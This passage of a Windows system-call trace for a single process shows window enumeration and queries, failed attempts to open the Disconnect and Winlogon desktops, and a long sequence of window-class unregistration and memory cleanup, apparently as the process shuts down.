 02093  1356   NtUserValidateHandleSecure  (327816, ... ) == 0x1
 02094  1356   NtUserQueryWindow  (327816, 0, ... ) == 0x6b8
 02095  1356   NtUserQueryWindow  (327816, 1, ... ) == 0x6d4
 02096  1356   NtUserValidateHandleSecure  (327840, ... ) == 0x1
 02097  1356   NtUserQueryWindow  (327840, 0, ... ) == 0x6b8
 02098  1356   NtUserQueryWindow  (327840, 1, ... ) == 0x6d4
 02099  1356   NtUserValidateHandleSecure  (65652, ... ) == 0x1
 02100  1356   NtUserQueryWindow  (65652, 0, ... ) == 0x6b8
 02101  1356   NtUserQueryWindow  (65652, 1, ... ) == 0x6d4
 02102  1356   NtUserValidateHandleSecure  (65652, ... ) == 0x1
 02103  1356   NtUserValidateHandleSecure  (65648, ... ) == 0x1
 02104  1356   NtUserQueryWindow  (65648, 0, ... ) == 0x6b8
 02105  1356   NtUserQueryWindow  (65648, 1, ... ) == 0x6d4
 02106  1356   NtUserValidateHandleSecure  (65648, ... ) == 0x1
 02107  1356   NtUserValidateHandleSecure  (65664, ... ) == 0x1
 02108  1356   NtUserQueryWindow  (65664, 0, ... ) == 0x6b8
 02109  1356   NtUserQueryWindow  (65664, 1, ... ) == 0x6d4
 02110  1356   NtUserValidateHandleSecure  (65664, ... ) == 0x1
 02111  1356   NtUserValidateHandleSecure  (65668, ... ) == 0x1
 02112  1356   NtUserQueryWindow  (65668, 0, ... ) == 0x6b8
 02113  1356   NtUserQueryWindow  (65668, 1, ... ) == 0x6d4
 02114  1356   NtUserValidateHandleSecure  (65668, ... ) == 0x1
 02115  1356   NtUserValidateHandleSecure  (196680, ... ) == 0x1
 02116  1356   NtUserQueryWindow  (196680, 0, ... ) == 0x6b8
 02117  1356   NtUserQueryWindow  (196680, 1, ... ) == 0x6d4
 02118  1356   NtUserValidateHandleSecure  (196680, ... ) == 0x1
 02119  1356   NtUserValidateHandleSecure  (65650, ... ) == 0x1
 02120  1356   NtUserQueryWindow  (65650, 0, ... ) == 0x6b8
 02121  1356   NtUserQueryWindow  (65650, 1, ... ) == 0x6d4
 02122  1356   NtUserValidateHandleSecure  (65650, ... ) == 0x1
 02123  1356   NtUserValidateHandleSecure  (131154, ... ) == 0x1
 02124  1356   NtUserQueryWindow  (131154, 0, ... ) == 0x6b8
 02125  1356   NtUserQueryWindow  (131154, 1, ... ) == 0x6d4
 02126  1356   NtUserValidateHandleSecure  (131154, ... ) == 0x1
 02127  1356   NtUserBuildHwndList  (0, 131154, 1, 0, 64, ... (0x3003e, 0x3003c, 0x30040, 0x30042, 0x30044, 0x30046, 0x10076, 0x10082, 0x1007a, 0x1007e, 0x1, ), 11, ) == 0x0
 02128  1356   NtUserValidateHandleSecure  (196670, ... ) == 0x1
 02129  1356   NtUserQueryWindow  (196670, 0, ... ) == 0x6b8
 02130  1356   NtUserQueryWindow  (196670, 1, ... ) == 0x6d4
 02131  1356   NtUserValidateHandleSecure  (196668, ... ) == 0x1
 02132  1356   NtUserQueryWindow  (196668, 0, ... ) == 0x6b8
 02133  1356   NtUserQueryWindow  (196668, 1, ... ) == 0x6d4
 02134  1356   NtUserValidateHandleSecure  (196672, ... ) == 0x1
 02135  1356   NtUserQueryWindow  (196672, 0, ... ) == 0x6b8
 02136  1356   NtUserQueryWindow  (196672, 1, ... ) == 0x6d4
 02137  1356   NtUserValidateHandleSecure  (196674, ... ) == 0x1
 02138  1356   NtUserQueryWindow  (196674, 0, ... ) == 0x6b8
 02139  1356   NtUserQueryWindow  (196674, 1, ... ) == 0x6d4
 02140  1356   NtUserValidateHandleSecure  (196676, ... ) == 0x1
 02141  1356   NtUserQueryWindow  (196676, 0, ... ) == 0x6b8
 02142  1356   NtUserQueryWindow  (196676, 1, ... ) == 0x6d4
 02143  1356   NtUserValidateHandleSecure  (196678, ... ) == 0x1
 02144  1356   NtUserQueryWindow  (196678, 0, ... ) == 0x6b8
 02145  1356   NtUserQueryWindow  (196678, 1, ... ) == 0x6d4
 02146  1356   NtUserValidateHandleSecure  (65654, ... ) == 0x1
 02147  1356   NtUserQueryWindow  (65654, 0, ... ) == 0x6b8
 02148  1356   NtUserQueryWindow  (65654, 1, ... ) == 0x6d4
 02149  1356   NtUserValidateHandleSecure  (65666, ... ) == 0x1
 02150  1356   NtUserQueryWindow  (65666, 0, ... ) == 0x6b8
 02151  1356   NtUserQueryWindow  (65666, 1, ... ) == 0x6d4
 02152  1356   NtUserValidateHandleSecure  (65658, ... ) == 0x1
 02153  1356   NtUserQueryWindow  (65658, 0, ... ) == 0x6b8
 02154  1356   NtUserQueryWindow  (65658, 1, ... ) == 0x6d4
 02155  1356   NtUserValidateHandleSecure  (65662, ... ) == 0x1
 02156  1356   NtUserQueryWindow  (65662, 0, ... ) == 0x6b8
 02157  1356   NtUserQueryWindow  (65662, 1, ... ) == 0x6d4
 02158  1356   NtUserValidateHandleSecure  (327836, ... ) == 0x1
 02159  1356   NtUserQueryWindow  (327836, 0, ... ) == 0x6b8
 02160  1356   NtUserQueryWindow  (327836, 1, ... ) == 0x6d4
 02161  1356   NtUserValidateHandleSecure  (327836, ... ) == 0x1
 02162  1356   NtUserValidateHandleSecure  (1311158, ... ) == 0x1
 02163  1356   NtUserQueryWindow  (1311158, 0, ... ) == 0x6b8
 02164  1356   NtUserQueryWindow  (1311158, 1, ... ) == 0x6d4
 02165  1356   NtUserValidateHandleSecure  (1311158, ... ) == 0x1
 02166  1356   NtUserBuildHwndList  (0, 1311158, 1, 0, 64, ... (0xf0192, 0x80198, 0x1, ), 3, ) == 0x0
 02167  1356   NtUserValidateHandleSecure  (983442, ... ) == 0x1
 02168  1356   NtUserQueryWindow  (983442, 0, ... ) == 0x6b8
 02169  1356   NtUserQueryWindow  (983442, 1, ... ) == 0x6d4
 02170  1356   NtUserValidateHandleSecure  (524696, ... ) == 0x1
 02171  1356   NtUserQueryWindow  (524696, 0, ... ) == 0x6b8
 02172  1356   NtUserQueryWindow  (524696, 1, ... ) == 0x6d4
 02173  1356   NtUserValidateHandleSecure  (786898, ... ) == 0x1
 02174  1356   NtUserQueryWindow  (786898, 0, ... ) == 0x6b8
 02175  1356   NtUserQueryWindow  (786898, 1, ... ) == 0x6d4
 02176  1356   NtUserValidateHandleSecure  (786898, ... ) == 0x1
 02177  1356   NtUserValidateHandleSecure  (852226, ... ) == 0x1
 02178  1356   NtUserQueryWindow  (852226, 0, ... ) == 0x6b8
 02179  1356   NtUserQueryWindow  (852226, 1, ... ) == 0x6d4
 02180  1356   NtUserValidateHandleSecure  (852226, ... ) == 0x1
 02181  1356   NtUserBuildHwndList  (0, 852226, 1, 0, 64, ... (0x700fc, 0xc0114, 0x1, ), 3, ) == 0x0
 02182  1356   NtUserValidateHandleSecure  (459004, ... ) == 0x1
 02183  1356   NtUserQueryWindow  (459004, 0, ... ) == 0x6b8
 02184  1356   NtUserQueryWindow  (459004, 1, ... ) == 0x6d4
 02185  1356   NtUserValidateHandleSecure  (786708, ... ) == 0x1
 02186  1356   NtUserQueryWindow  (786708, 0, ... ) == 0x6b8
 02187  1356   NtUserQueryWindow  (786708, 1, ... ) == 0x6d4
 02188  1356   NtUserValidateHandleSecure  (327842, ... ) == 0x1
 02189  1356   NtUserQueryWindow  (327842, 0, ... ) == 0x6b8
 02190  1356   NtUserQueryWindow  (327842, 1, ... ) == 0x6d4
 02191  1356   NtUserValidateHandleSecure  (327842, ... ) == 0x1
 02192  1356   NtUserValidateHandleSecure  (852250, ... ) == 0x1
 02193  1356   NtUserQueryWindow  (852250, 0, ... ) == 0x6b8
 02194  1356   NtUserQueryWindow  (852250, 1, ... ) == 0x6d4
 02195  1356   NtUserValidateHandleSecure  (852250, ... ) == 0x1
 02196  1356   NtUserValidateHandleSecure  (65680, ... ) == 0x1
 02197  1356   NtUserQueryWindow  (65680, 0, ... ) == 0x6b8
 02198  1356   NtUserQueryWindow  (65680, 1, ... ) == 0x6bc
 02199  1356   NtUserValidateHandleSecure  (65680, ... ) == 0x1
 02200  1356   NtUserValidateHandleSecure  (65744, ... ) == 0x1
 02201  1356   NtUserQueryWindow  (65744, 0, ... ) == 0x19c
 02202  1356   NtUserQueryWindow  (65744, 1, ... ) == 0x1a0
 02203  1356   NtUserValidateHandleSecure  (65744, ... ) == 0x1
 02204  1356   NtUserValidateHandleSecure  (131248, ... ) == 0x1
 02205  1356   NtUserQueryWindow  (131248, 0, ... ) == 0xa0
 02206  1356   NtUserQueryWindow  (131248, 1, ... ) == 0xe4
 02207  1356   NtUserValidateHandleSecure  (131248, ... ) == 0x1
 02208  1356   NtUserValidateHandleSecure  (65740, ... ) == 0x1
 02209  1356   NtUserQueryWindow  (65740, 0, ... ) == 0x19c
 02210  1356   NtUserQueryWindow  (65740, 1, ... ) == 0x1a0
 02211  1356   NtUserValidateHandleSecure  (65740, ... ) == 0x1
 02212  1356   NtUserValidateHandleSecure  (1245452, ... ) == 0x1
 02213  1356   NtUserQueryWindow  (1245452, 0, ... ) == 0x5e8
 02214  1356   NtUserQueryWindow  (1245452, 1, ... ) == 0x534
 02215  1356   NtUserValidateHandleSecure  (1245452, ... ) == 0x1
 02216  1356   NtUserValidateHandleSecure  (1442092, ... ) == 0x1
 02217  1356   NtUserQueryWindow  (1442092, 0, ... ) == 0xa4
 02218  1356   NtUserQueryWindow  (1442092, 1, ... ) == 0x61c
 02219  1356   NtUserValidateHandleSecure  (1442092, ... ) == 0x1
 02220  1356   NtUserValidateHandleSecure  (459098, ... ) == 0x1
 02221  1356   NtUserQueryWindow  (459098, 0, ... ) == 0x4b0
 02222  1356   NtUserQueryWindow  (459098, 1, ... ) == 0x780
 02223  1356   NtUserValidateHandleSecure  (459098, ... ) == 0x1
 02224  1356   NtUserValidateHandleSecure  (852424, ... ) == 0x1
 02225  1356   NtUserQueryWindow  (852424, 0, ... ) == 0x6b8
 02226  1356   NtUserQueryWindow  (852424, 1, ... ) == 0x6d4
 02227  1356   NtUserValidateHandleSecure  (852424, ... ) == 0x1
 02228  1356   NtUserValidateHandleSecure  (917932, ... ) == 0x1
 02229  1356   NtUserQueryWindow  (917932, 0, ... ) == 0x6b8
 02230  1356   NtUserQueryWindow  (917932, 1, ... ) == 0x6d4
 02231  1356   NtUserValidateHandleSecure  (917932, ... ) == 0x1
 02232  1356   NtUserValidateHandleSecure  (786896, ... ) == 0x1
 02233  1356   NtUserQueryWindow  (786896, 0, ... ) == 0x6b8
 02234  1356   NtUserQueryWindow  (786896, 1, ... ) == 0x6d4
 02235  1356   NtUserValidateHandleSecure  (786896, ... ) == 0x1
 02236  1356   NtUserValidateHandleSecure  (655820, ... ) == 0x1
 02237  1356   NtUserQueryWindow  (655820, 0, ... ) == 0x6b8
 02238  1356   NtUserQueryWindow  (655820, 1, ... ) == 0x6d4
 02239  1356   NtUserValidateHandleSecure  (655820, ... ) == 0x1
 02240  1356   NtUserValidateHandleSecure  (196940, ... ) == 0x1
 02241  1356   NtUserQueryWindow  (196940, 0, ... ) == 0x4b4
 02242  1356   NtUserQueryWindow  (196940, 1, ... ) == 0x474
 02243  1356   NtUserValidateHandleSecure  (196940, ... ) == 0x1
 02244  1356   NtUserValidateHandleSecure  (65820, ... ) == 0x1
 02245  1356   NtUserQueryWindow  (65820, 0, ... ) == 0x22c
 02246  1356   NtUserQueryWindow  (65820, 1, ... ) == 0x220
 02247  1356   NtUserValidateHandleSecure  (65820, ... ) == 0x1
 02248  1356   NtUserValidateHandleSecure  (65766, ... ) == 0x1
 02249  1356   NtUserQueryWindow  (65766, 0, ... ) == 0x6b8
 02250  1356   NtUserQueryWindow  (65766, 1, ... ) == 0x13c
 02251  1356   NtUserValidateHandleSecure  (65766, ... ) == 0x1
 02252  1356   NtUserValidateHandleSecure  (65750, ... ) == 0x1
 02253  1356   NtUserQueryWindow  (65750, 0, ... ) == 0x6b8
 02254  1356   NtUserQueryWindow  (65750, 1, ... ) == 0x13c
 02255  1356   NtUserValidateHandleSecure  (65750, ... ) == 0x1
 02256  1356   NtUserBuildHwndList  (0, 65750, 1, 0, 64, ... (0x100da, 0x100dc, 0x100de, 0x100e0, 0x1, ), 5, ) == 0x0
 02257  1356   NtUserValidateHandleSecure  (65754, ... ) == 0x1
 02258  1356   NtUserQueryWindow  (65754, 0, ... ) == 0x6b8
 02259  1356   NtUserQueryWindow  (65754, 1, ... ) == 0x13c
 02260  1356   NtUserValidateHandleSecure  (65756, ... ) == 0x1
 02261  1356   NtUserQueryWindow  (65756, 0, ... ) == 0x6b8
 02262  1356   NtUserQueryWindow  (65756, 1, ... ) == 0x13c
 02263  1356   NtUserValidateHandleSecure  (65758, ... ) == 0x1
 02264  1356   NtUserQueryWindow  (65758, 0, ... ) == 0x6b8
 02265  1356   NtUserQueryWindow  (65758, 1, ... ) == 0x13c
 02266  1356   NtUserValidateHandleSecure  (65760, ... ) == 0x1
 02267  1356   NtUserQueryWindow  (65760, 0, ... ) == 0x6b8
 02268  1356   NtUserQueryWindow  (65760, 1, ... ) == 0x13c
 02269  1356   NtUserValidateHandleSecure  (65746, ... ) == 0x1
 02270  1356   NtUserQueryWindow  (65746, 0, ... ) == 0x6b8
 02271  1356   NtUserQueryWindow  (65746, 1, ... ) == 0x6d4
 02272  1356   NtUserValidateHandleSecure  (65746, ... ) == 0x1
 02273  1356   NtUserValidateHandleSecure  (65738, ... ) == 0x1
 02274  1356   NtUserQueryWindow  (65738, 0, ... ) == 0x19c
 02275  1356   NtUserQueryWindow  (65738, 1, ... ) == 0x1a0
 02276  1356   NtUserValidateHandleSecure  (65738, ... ) == 0x1
 02277  1356   NtUserValidateHandleSecure  (65736, ... ) == 0x1
 02278  1356   NtUserQueryWindow  (65736, 0, ... ) == 0xa0
 02279  1356   NtUserQueryWindow  (65736, 1, ... ) == 0xe4
 02280  1356   NtUserValidateHandleSecure  (65736, ... ) == 0x1
 02281  1356   NtUserValidateHandleSecure  (65722, ... ) == 0x1
 02282  1356   NtUserQueryWindow  (65722, 0, ... ) == 0x104
 02283  1356   NtUserQueryWindow  (65722, 1, ... ) == 0x108
 02284  1356   NtUserValidateHandleSecure  (65722, ... ) == 0x1
 02285  1356   NtUserValidateHandleSecure  (65710, ... ) == 0x1
 02286  1356   NtUserQueryWindow  (65710, 0, ... ) == 0x104
 02287  1356   NtUserQueryWindow  (65710, 1, ... ) == 0x108
 02288  1356   NtUserValidateHandleSecure  (65710, ... ) == 0x1
 02289  1356   NtUserValidateHandleSecure  (65708, ... ) == 0x1
 02290  1356   NtUserQueryWindow  (65708, 0, ... ) == 0x120
 02291  1356   NtUserQueryWindow  (65708, 1, ... ) == 0x124
 02292  1356   NtUserValidateHandleSecure  (65708, ... ) == 0x1
 02293  1356   NtUserValidateHandleSecure  (196774, ... ) == 0x1
 02294  1356   NtUserQueryWindow  (196774, 0, ... ) == 0xc4
 02295  1356   NtUserQueryWindow  (196774, 1, ... ) == 0xc8
 02296  1356   NtUserValidateHandleSecure  (196774, ... ) == 0x1
 02297  1356   NtUserValidateHandleSecure  (65656, ... ) == 0x1
 02298  1356   NtUserQueryWindow  (65656, 0, ... ) == 0x6b8
 02299  1356   NtUserQueryWindow  (65656, 1, ... ) == 0x6ec
 02300  1356   NtUserValidateHandleSecure  (65656, ... ) == 0x1
 02301  1356   NtUserValidateHandleSecure  (196706, ... ) == 0x1
 02302  1356   NtUserQueryWindow  (196706, 0, ... ) == 0x6b8
 02303  1356   NtUserQueryWindow  (196706, 1, ... ) == 0x6bc
 02304  1356   NtUserValidateHandleSecure  (196706, ... ) == 0x1
 02305  1356   NtUserValidateHandleSecure  (327734, ... ) == 0x1
 02306  1356   NtUserQueryWindow  (327734, 0, ... ) == 0x6b8
 02307  1356   NtUserQueryWindow  (327734, 1, ... ) == 0x6bc
 02308  1356   NtUserValidateHandleSecure  (327734, ... ) == 0x1
 02309  1356   NtUserValidateHandleSecure  (327772, ... ) == 0x1
 02310  1356   NtUserQueryWindow  (327772, 0, ... ) == 0x6b8
 02311  1356   NtUserQueryWindow  (327772, 1, ... ) == 0x6bc
 02312  1356   NtUserValidateHandleSecure  (327772, ... ) == 0x1
 02313  1356   NtUserValidateHandleSecure  (65726, ... ) == 0x1
 02314  1356   NtUserQueryWindow  (65726, 0, ... ) == 0x19c
 02315  1356   NtUserQueryWindow  (65726, 1, ... ) == 0x1a0
 02316  1356   NtUserValidateHandleSecure  (65726, ... ) == 0x1
 02317  1356   NtUserValidateHandleSecure  (262398, ... ) == 0x1
 02318  1356   NtUserQueryWindow  (262398, 0, ... ) == 0x6b8
 02319  1356   NtUserQueryWindow  (262398, 1, ... ) == 0x6d4
 02320  1356   NtUserValidateHandleSecure  (262398, ... ) == 0x1
 02321  1356   NtUserValidateHandleSecure  (65682, ... ) == 0x1
 02322  1356   NtUserQueryWindow  (65682, 0, ... ) == 0x6b8
 02323  1356   NtUserQueryWindow  (65682, 1, ... ) == 0x6bc
 02324  1356   NtUserValidateHandleSecure  (65682, ... ) == 0x1
 02325  1356   NtUserValidateHandleSecure  (65670, ... ) == 0x1
 02326  1356   NtUserQueryWindow  (65670, 0, ... ) == 0x6b8
 02327  1356   NtUserQueryWindow  (65670, 1, ... ) == 0x6bc
 02328  1356   NtUserValidateHandleSecure  (65670, ... ) == 0x1
 02329  1356   NtUserBuildHwndList  (0, 65670, 1, 0, 64, ... (0x1008c, 0x1008e, 0x1, ), 3, ) == 0x0
 02330  1356   NtUserValidateHandleSecure  (65676, ... ) == 0x1
 02331  1356   NtUserQueryWindow  (65676, 0, ... ) == 0x6b8
 02332  1356   NtUserQueryWindow  (65676, 1, ... ) == 0x6bc
 02333  1356   NtUserValidateHandleSecure  (65678, ... ) == 0x1
 02334  1356   NtUserQueryWindow  (65678, 0, ... ) == 0x6b8
 02335  1356   NtUserQueryWindow  (65678, 1, ... ) == 0x6bc
 02336  1356   NtUserValidateHandleSecure  (262196, ... ) == 0x1
 02337  1356   NtUserQueryWindow  (262196, 0, ... ) == 0x6b8
 02338  1356   NtUserQueryWindow  (262196, 1, ... ) == 0x6d4
 02339  1356   NtUserValidateHandleSecure  (262196, ... ) == 0x1
 02340  1356   NtUserValidateHandleSecure  (327760, ... ) == 0x1
 02341  1356   NtUserQueryWindow  (327760, 0, ... ) == 0x6b8
 02342  1356   NtUserQueryWindow  (327760, 1, ... ) == 0x6d4
 02343  1356   NtUserValidateHandleSecure  (327760, ... ) == 0x1
 02344  1356   NtUserValidateHandleSecure  (65852, ... ) == 0x1
 02345  1356   NtUserQueryWindow  (65852, 0, ... ) == 0x22c
 02346  1356   NtUserQueryWindow  (65852, 1, ... ) == 0x220
 02347  1356   NtUserValidateHandleSecure  (65852, ... ) == 0x1
 02348  1356   NtUserValidateHandleSecure  (65824, ... ) == 0x1
 02349  1356   NtUserQueryWindow  (65824, 0, ... ) == 0x22c
 02350  1356   NtUserQueryWindow  (65824, 1, ... ) == 0x220
 02351  1356   NtUserValidateHandleSecure  (65824, ... ) == 0x1
 02352  1356   NtUserValidateHandleSecure  (65730, ... ) == 0x1
 02353  1356   NtUserQueryWindow  (65730, 0, ... ) == 0xa0
 02354  1356   NtUserQueryWindow  (65730, 1, ... ) == 0xe4
 02355  1356   NtUserValidateHandleSecure  (65730, ... ) == 0x1
 02356  1356   NtUserValidateHandleSecure  (65724, ... ) == 0x1
 02357  1356   NtUserQueryWindow  (65724, 0, ... ) == 0xa0
 02358  1356   NtUserQueryWindow  (65724, 1, ... ) == 0xe4
 02359  1356   NtUserValidateHandleSecure  (65724, ... ) == 0x1
 02360  1356   NtUserValidateHandleSecure  (131406, ... ) == 0x1
 02361  1356   NtUserQueryWindow  (131406, 0, ... ) == 0x4b4
 02362  1356   NtUserQueryWindow  (131406, 1, ... ) == 0x474
 02363  1356   NtUserValidateHandleSecure  (131406, ... ) == 0x1
 02364  1356   NtUserValidateHandleSecure  (65752, ... ) == 0x1
 02365  1356   NtUserQueryWindow  (65752, 0, ... ) == 0x6b8
 02366  1356   NtUserQueryWindow  (65752, 1, ... ) == 0x13c
 02367  1356   NtUserValidateHandleSecure  (65752, ... ) == 0x1
 02368  1356   NtUserValidateHandleSecure  (65718, ... ) == 0x1
 02369  1356   NtUserQueryWindow  (65718, 0, ... ) == 0x104
 02370  1356   NtUserQueryWindow  (65718, 1, ... ) == 0x108
 02371  1356   NtUserValidateHandleSecure  (65718, ... ) == 0x1
 02372  1356   NtUserValidateHandleSecure  (65720, ... ) == 0x1
 02373  1356   NtUserQueryWindow  (65720, 0, ... ) == 0x120
 02374  1356   NtUserQueryWindow  (65720, 1, ... ) == 0x124
 02375  1356   NtUserValidateHandleSecure  (65720, ... ) == 0x1
 02376  1356   NtUserValidateHandleSecure  (65716, ... ) == 0x1
 02377  1356   NtUserQueryWindow  (65716, 0, ... ) == 0xc4
 02378  1356   NtUserQueryWindow  (65716, 1, ... ) == 0xc8
 02379  1356   NtUserValidateHandleSecure  (65716, ... ) == 0x1
 02380  1356   NtUserValidateHandleSecure  (65728, ... ) == 0x1
 02381  1356   NtUserQueryWindow  (65728, 0, ... ) == 0x19c
 02382  1356   NtUserQueryWindow  (65728, 1, ... ) == 0x1a0
 02383  1356   NtUserValidateHandleSecure  (65728, ... ) == 0x1
 02384  1356   NtUserValidateHandleSecure  (65690, ... ) == 0x1
 02385  1356   NtUserQueryWindow  (65690, 0, ... ) == 0x6b8
 02386  1356   NtUserQueryWindow  (65690, 1, ... ) == 0x6bc
 02387  1356   NtUserValidateHandleSecure  (65690, ... ) == 0x1
 02388  1356   NtUserValidateHandleSecure  (327774, ... ) == 0x1
 02389  1356   NtUserQueryWindow  (327774, 0, ... ) == 0x6b8
 02390  1356   NtUserQueryWindow  (327774, 1, ... ) == 0x6bc
 02391  1356   NtUserValidateHandleSecure  (327774, ... ) == 0x1
 02392  1356   NtUserCloseDesktop  (68, ... ) == 0x1
 02393  1356   NtUserGetProcessWindowStation  (... ) == 0x1c
 02394  1356   NtUserOpenDesktop  ({24, 28, 0x40, 0, 0,  ({24, 28, 0x40, 0, 0, "Disconnect"}, 1, 0x41, ... ) }, 1, 0x41, ... ) == 0x0
 02395  1356   NtUserGetProcessWindowStation  (... ) == 0x1c
 02396  1356   NtUserOpenDesktop  ({24, 28, 0x40, 0, 0,  ({24, 28, 0x40, 0, 0, "Winlogon"}, 1, 0x41, ... ) }, 1, 0x41, ... ) == 0x0
 02397  1356   NtGdiDeleteObjectApp  (-334887361, ... ) == 0x1
 02398  1356   NtGdiDeleteObjectApp  (-2046163025, ... ) == 0x1
 02399  1356   NtClose  (64, ... ) == 0x0
 02400  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x8,}, 4, ... ) == 0x0
 02401  1356   NtUserGetAtomName  (49211, 1243856, ... ) == 0xf
 02402  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02403  1356   NtUserGetAtomName  (49213, 1243856, ... ) == 0xd
 02404  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02405  1356   NtUserGetAtomName  (49215, 1243856, ... ) == 0x10
 02406  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02407  1356   NtUserGetAtomName  (49217, 1243856, ... ) == 0x12
 02408  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02409  1356   NtUserGetAtomName  (49219, 1243856, ... ) == 0xd
 02410  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02411  1356   NtUserGetAtomName  (49221, 1243856, ... ) == 0xb
 02412  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02413  1356   NtUserGetAtomName  (49223, 1243856, ... ) == 0xf
 02414  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02415  1356   NtUserGetAtomName  (49225, 1243856, ... ) == 0xd
 02416  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02417  1356   NtUserGetAtomName  (49227, 1243856, ... ) == 0x11
 02418  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02419  1356   NtUserGetAtomName  (49229, 1243856, ... ) == 0xf
 02420  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02421  1356   NtUserGetAtomName  (49231, 1243856, ... ) == 0x11
 02422  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02423  1356   NtUserGetAtomName  (49233, 1243856, ... ) == 0xf
 02424  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02425  1356   NtUserGetAtomName  (49235, 1243856, ... ) == 0xc
 02426  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02427  1356   NtUserGetAtomName  (49237, 1243848, ... ) == 0xd
 02428  1356   NtUserUnregisterClass  (1243908, 1560870912, 1243896, ... ) == 0x1
 02429  1356   NtUserGetAtomName  (49239, 1243848, ... ) == 0x11
 02430  1356   NtUserUnregisterClass  (1243908, 1560870912, 1243896, ... ) == 0x1
 02431  1356   NtUserGetAtomName  (49241, 1243856, ... ) == 0xc
 02432  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02433  1356   NtUserGetAtomName  (49243, 1243856, ... ) == 0xe
 02434  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02435  1356   NtUserGetAtomName  (49245, 1243856, ... ) == 0x8
 02436  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02437  1356   NtUserGetAtomName  (49247, 1243856, ... ) == 0xd
 02438  1356   NtUserUnregisterClass  (1243916, 1560870912, 1243904, ... ) == 0x1
 02439  1356   NtUnmapViewOfSection  (-1, 0x900000, ... ) == 0x0
 02440  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x6,}, 4, ... ) == 0x0
 02441  1356   NtFreeVirtualMemory  (-1, (0x840000), 0, 32768, ... (0x840000), 65536, ) == 0x0
 02442  1356   NtUserGetAtomName  (49211, 1243888, ... ) == 0xf
 02443  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02444  1356   NtUserGetAtomName  (49213, 1243888, ... ) == 0xd
 02445  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02446  1356   NtUserGetAtomName  (49215, 1243888, ... ) == 0x10
 02447  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02448  1356   NtUserGetAtomName  (49217, 1243888, ... ) == 0x12
 02449  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02450  1356   NtUserGetAtomName  (49219, 1243888, ... ) == 0xd
 02451  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02452  1356   NtUserGetAtomName  (49221, 1243888, ... ) == 0xb
 02453  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02454  1356   NtUserGetAtomName  (49223, 1243888, ... ) == 0xf
 02455  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02456  1356   NtUserGetAtomName  (49225, 1243888, ... ) == 0xd
 02457  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02458  1356   NtUserGetAtomName  (49227, 1243888, ... ) == 0x11
 02459  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02460  1356   NtUserGetAtomName  (49229, 1243888, ... ) == 0xf
 02461  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02462  1356   NtUserGetAtomName  (49231, 1243888, ... ) == 0x11
 02463  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02464  1356   NtUserGetAtomName  (49233, 1243888, ... ) == 0xf
 02465  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02466  1356   NtUserGetAtomName  (49235, 1243888, ... ) == 0xc
 02467  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02468  1356   NtUserGetAtomName  (49237, 1243880, ... ) == 0xd
 02469  1356   NtUserUnregisterClass  (1243940, 2000486400, 1243928, ... ) == 0x1
 02470  1356   NtUserGetAtomName  (49239, 1243880, ... ) == 0x11
 02471  1356   NtUserUnregisterClass  (1243940, 2000486400, 1243928, ... ) == 0x1
 02472  1356   NtUserGetAtomName  (49241, 1243888, ... ) == 0xc
 02473  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02474  1356   NtUserGetAtomName  (49243, 1243888, ... ) == 0xe
 02475  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02476  1356   NtUserGetAtomName  (49245, 1243888, ... ) == 0x8
 02477  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02478  1356   NtUserGetAtomName  (49247, 1243888, ... ) == 0xd
 02479  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02480  1356   NtUserGetAtomName  (49175, 1243888, ... ) == 0x6
 02481  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02482  1356   NtUserGetAtomName  (49177, 1243888, ... ) == 0x6
 02483  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02484  1356   NtUserGetAtomName  (49176, 1243888, ... ) == 0x4
 02485  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02486  1356   NtUserGetAtomName  (49178, 1243888, ... ) == 0x7
